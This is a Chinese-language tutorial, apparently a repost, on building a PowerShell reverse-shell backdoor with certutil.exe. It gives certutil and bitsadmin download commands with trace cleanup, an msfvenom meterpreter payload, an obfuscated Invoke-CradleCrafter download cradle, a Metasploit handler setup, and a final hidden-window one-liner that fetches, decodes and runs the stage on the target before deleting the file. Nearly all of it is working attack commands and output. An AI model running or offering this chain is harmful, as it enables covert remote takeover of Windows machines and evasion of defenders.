certutil 命令配合PS反彈后門


Certutil.exe是一個命令行程序,作為證書服務的一部分安裝。您可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件以及驗證證書,密鑰對和證書鏈。

適用於:Windows Server 2012,Windows 10

1.使用Certutil.exe下載文件,下載完成以后一定記得delete 清理痕跡。

C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log
C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log delete

2.在應急中certutil也是常用工具之一,來對比文件hash,來判斷疑似文件。

C:\> certutil -hashfile lyshark.log MD5
MD5 的 lyshark.log 哈希:
6f5902ac237024bdd0c176cb93063dc4

3.還可以對指定文件進行編碼。編碼后生成目標文件lyshark.bat

C:\> certutil -encode lyshark.log lyshark.bat
輸入長度 = 12
輸出長度 = 74
CertUtil: -encode 命令成功完成。

4.通過使用decode命令來完成解碼。

C:\> certutil -decode lyshark.bat lyshark.log
輸入長度 = 74
輸出長度 = 12
CertUtil: -decode 命令成功完成。

附加:C:> bitsadmin /rawreturn /transfer down "http://lyshark.com/lyshark.exe" c:\lyshark.exe

以上的簡介就是certutil工具的常用應用場景,而通過結合powershell的內存加載功能,則可把certutil的功能發揮到極致,接下來先來下載一個PS的加載框架。

PowerShell 混淆框架:https://github.com/danielbohannon/Invoke-CradleCrafter

1.在加載PowerShell腳本之前,先來進行數字簽名,運行命令。

PS C:\Invoke-CradleCrafter> Set-ExecutionPolicy Bypass
執行策略更改
執行策略可幫助你防止執行不信任的腳本。更改執行策略可能會產生安全風險,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 幫助主題所述。是否要更改執行策略? Y

2.使用方法,執行兩條命令,加載框架。

PS C:\Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.ps1
PS C:\Invoke-CradleCrafter> Invoke-CradleCrafter

Invoke-CradleCrafter

          _____                 _                    ,
          \_   \_ ____   _____ | | _____           /(  __________
           / /\/ '_ \ \ / / _ \| |/ / _ \_____    |  >:==========`
        /\/ /_ | | | \ V / (_) |   <  __/_____|    )(
        \____/ |_| |_|\_/ \___/|_|\_\___|          ""
           ___              _ _        ___           __ _
          / __\ __ __ _  __| | | ___  / __\ __ __ _ / _| |_ ___ _ __
         / / | '__/ _` |/ _` | |/ _ \/ / | '__/ _` | |_| __/ _ \ '__|
        / /__| | | (_| | (_| | |  __/ /__| | | (_| |  _| ||  __/ |
        \____/_|  \__,_|\__,_|_|\___\____/_|  \__,_|_|  \__\___|_|

        Tool    :: Invoke-CradleCrafter
        Author  :: Daniel Bohannon (DBO)
        Twitter :: @danielhbohannon
        Blog    :: http://danielbohannon.com
        Github  :: https://github.com/danielbohannon/Invoke-CradleCrafter
        Version :: 1.1
        License :: Apache License, Version 2.0
        Notes   :: If(!$Caffeinated) {Exit}

HELP MENU :: Available options shown below:

3.MSF攻擊主機,生成payload,並將生成好的payload放入網站根目錄,保證能夠正常訪問。

[root@localhost ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 -e cmd/powershell_base64 \
> -f psh -o lyshark.txt

[root@localhost ~]# cp -a lyshark.txt  /var/www/html/
[root@localhost ~]# systemctl restart httpd

4.powershell 框架設置指定好的URL鏈接。

Invoke-CradleCrafter>  set URL http://lyshark.com/lyshark.txt

Successfully set Url:
http://lyshark.com/lyshark.txt

5.分別執行以下命令完成初始化,這里如果報錯請添加環境變量。

Invoke-CradleCrafter> MEMORY

Choose one of the below Memory options:

[*] MEMORY\PSWEBSTRING          PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA            PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD        PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING         .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA           .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD       .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST         PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD         PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST        .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS           PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD            PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL           PS COM object + Excel.exe
[*] MEMORY\PSCOMIE              PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML           PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP       PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP     .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL             Certutil.exe + -ping Argument
Invoke-CradleCrafter\Memory> CERTUTIL

[*] Name          :: Certutil
[*] Description   :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies  :: Certutil.exe
[*] Footprint     :: Entirely memory-based
[*] Indicators    :: powershell.exe spawns certutil.exe certutil.exe 
[*] Artifacts     :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
Invoke-CradleCrafter\Memory\Certutil> ALL


Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)


Invoke-CradleCrafter\Memory\Certutil\All> 1

Executed:
  CLI:  Memory\Certutil\All\1
  FULL: Out-Cradle -Url 'http://lyshark.com/lyshark.txt' -Cradle 17 -TokenArray @('All',1)

Result:
SV 1O6 'http://lyshark.com/lyshark.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")

Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)

6.將上方混淆后的內容保存為 crt.txt 然后進行encode加密

C:\Users\lyshark\Desktop>certutil -encode crt.txt crt.cer

輸入長度 = 912
輸出長度 = 1310
CertUtil: -encode 命令成功完成。

7.將生成的 crt.cet 放入服務器的根目錄下,保證能夠訪問,然后運行msfconsole控制台,並偵聽事件。

[root@localhost ~]# cp -a crt.cer /var/www/html/

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z

8.最終靶機執行,以下命令。

powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://lyshark.com/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM